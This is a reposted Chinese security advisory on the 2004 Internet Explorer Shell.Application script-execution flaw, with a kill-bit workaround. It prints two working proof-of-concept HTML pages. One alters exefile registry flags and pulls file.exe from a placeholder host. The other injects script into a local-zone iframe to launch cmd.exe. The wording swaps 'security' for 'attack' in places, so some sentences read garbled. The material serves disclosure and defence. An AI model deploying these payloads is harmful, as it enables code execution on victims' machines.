Microsoft IE Shell.Application对象脚本执行漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2010-02-13
Microsoft IE Shell.Application对象脚本执行漏洞

发布日期: 2004年7月7日
受影响系统:
Microsoft Internet Explorer 6.0SP1
Microsoft Internet Explorer 5.5SP2
Microsoft Internet Explorer 5.5SP1
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6.0
    - Microsoft Windows XP Professional
    - Microsoft Windows XP Home
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows ME
    - Microsoft Windows 98 SE
    - Microsoft Windows 98
    - Microsoft Windows 2003 Web Edition
    - Microsoft Windows 2003 Standard Edition
    - Microsoft Windows 2003 Enterprise Edition 64-bit
    - Microsoft Windows 2003 Enterprise Edition
    - Microsoft Windows 2003 Datacenter Edition 64-bit
    - Microsoft Windows 2003 Datacenter Edition
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
    - Microsoft Windows 2000 Server
    - Microsoft Windows 2000 Professional SP2
    - Microsoft Windows 2000 Professional SP1
    - Microsoft Windows 2000 Professional
    - Microsoft Windows 2000 Datacenter Server SP2
    - Microsoft Windows 2000 Datacenter Server SP1
    - Microsoft Windows 2000 Datacenter Server
    - Microsoft Windows 2000 Advanced Server SP2
    - Microsoft Windows 2000 Advanced Server SP1
    - Microsoft Windows 2000 Advanced Server
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 10652

Microsoft Internet Explorer是一款流行的WEB浏览器。

Microsoft Internet Explorer存在安全问题,远程安全者可以利用这个漏洞使恶意HTML文档在用户系统上执行脚本代码。

利用Shell.Application对象,安全者可以构建恶意HTML文档,执行脚本代码来更改注册表键值进行进一步的安全。结合其他漏洞,可能执行用户提供的恶意程序。

要利用这个安全问题一般需要其他漏洞重定向浏览器到本地区域(或其他相关安全域)。当然也可以利用其他安全方法,如诱使用户下载HTML文档并使用浏览器打开,或者发送HTML形式EMAIL等来触发。

<*来源:http-equiv@excite.com (http-equiv@excite.com)
 
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=108887094311320&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有安全性,仅供安全研究与教学之用。使用者风险自负!

"Matthew Murphy" <mattmurphy@kc.rr.com> 提供如下测试方法:

<html><head>
<script language="JavaScript" defer>
function throw_onload() {
actx.RegWrite("HKCR//exefile//EditFlags", 0x38070000, "REG_BINARY");
window.close();
}
var actx = new ActiveXObject("WScript.Shell");
actx.RegWrite("HKCR//exefile//EditFlags", 256, "REG_BINARY");
document.writeln("<IFRAME SRC=/"http://www.somebadsite.com/file.exe/"
ONLOAD=/"throw_onload()/" />");
window.setTimeout("throw_onload()", 5000); // Don't know for sure if IE
fires OnLoad for .exe files! Anyone?
</script></head><body></body></html>

"http-equiv@excite.com" <1@malware.com> presented:
<iframe src="shell:windows/web/tip.htm"
style="width:400px;height:200px;"></iframe>
<textarea id="code" style="display:none;">
injected.
<script language="JScript" DEFER>
alert('attempting injection');
var obj=new ActiveXObject("Shell.Application");
obj.ShellExecute("cmd.exe","/c pause");
</script>
</textarea>
<script language="javascript">
function doit() {
document.frames[0].document.body.insertAdjacentHTML('afterBegin',
document.all.code.value);
}
setTimeout("doit()", 2000);
</script>

建议:
--------------------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 修改注册表在Shell.Application对象上设置Kill Bit:

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/ActiveX
Compatibility/{13709620-C279-11CE-A49E-444553540000}] "Compatibility Flags"=dword:00000400

厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/windows/ie/default.asp